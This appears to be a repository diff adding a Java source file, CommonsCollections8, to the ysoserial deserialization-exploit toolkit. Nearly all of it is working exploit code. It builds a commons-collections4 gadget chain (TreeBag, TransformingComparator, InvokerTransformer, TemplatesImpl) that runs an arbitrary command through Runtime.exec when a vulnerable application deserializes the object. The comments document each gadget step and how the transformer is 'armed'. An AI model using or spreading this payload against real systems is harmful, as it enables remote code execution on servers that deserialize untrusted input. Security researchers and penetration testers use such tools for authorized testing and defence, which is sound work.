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| Original file line number | Diff line number | Diff line change |
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| @@ -0,0 +1,56 @@ | ||
| package ysoserial.payloads; | ||
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| import org.apache.commons.collections4.bag.TreeBag; | ||
| import org.apache.commons.collections4.comparators.TransformingComparator; | ||
| import org.apache.commons.collections4.functors.InvokerTransformer; | ||
| import ysoserial.payloads.annotation.Authors; | ||
| import ysoserial.payloads.annotation.Dependencies; | ||
| import ysoserial.payloads.util.Gadgets; | ||
| import ysoserial.payloads.util.PayloadRunner; | ||
| import ysoserial.payloads.util.Reflections; | ||
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| /* | ||
| Gadget chain: | ||
| org.apache.commons.collections4.bag.TreeBag.readObject | ||
| org.apache.commons.collections4.bag.AbstractMapBag.doReadObject | ||
| java.util.TreeMap.put | ||
| java.util.TreeMap.compare | ||
| org.apache.commons.collections4.comparators.TransformingComparator.compare | ||
| org.apache.commons.collections4.functors.InvokerTransformer.transform | ||
| java.lang.reflect.Method.invoke | ||
| sun.reflect.DelegatingMethodAccessorImpl.invoke | ||
| sun.reflect.NativeMethodAccessorImpl.invoke | ||
| sun.reflect.NativeMethodAccessorImpl.invoke0 | ||
| com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer | ||
| ... (TemplatesImpl gadget) | ||
| java.lang.Runtime.exec | ||
| */ | ||
| @SuppressWarnings({"rawtypes", "unchecked"}) | ||
| @Dependencies({"org.apache.commons:commons-collections4:4.0"}) | ||
| @Authors({Authors.NAVALORENZO}) | ||
| public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<TreeBag> { | ||
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| public static void main(final String[] args) throws Exception { | ||
| PayloadRunner.run(CommonsCollections8.class, args); | ||
| } | ||
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| public TreeBag getObject(final String command) throws Exception { | ||
| Object templates = Gadgets.createTemplatesImpl(command); | ||
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| // setup harmless chain | ||
| final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); | ||
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| // define the comparator used for sorting | ||
| TransformingComparator comp = new TransformingComparator(transformer); | ||
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| // prepare CommonsCollections object entry point | ||
| TreeBag tree = new TreeBag(comp); | ||
| tree.add(templates); | ||
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| // arm transformer | ||
| Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); | ||
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| return tree; | ||
| } | ||
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| } |
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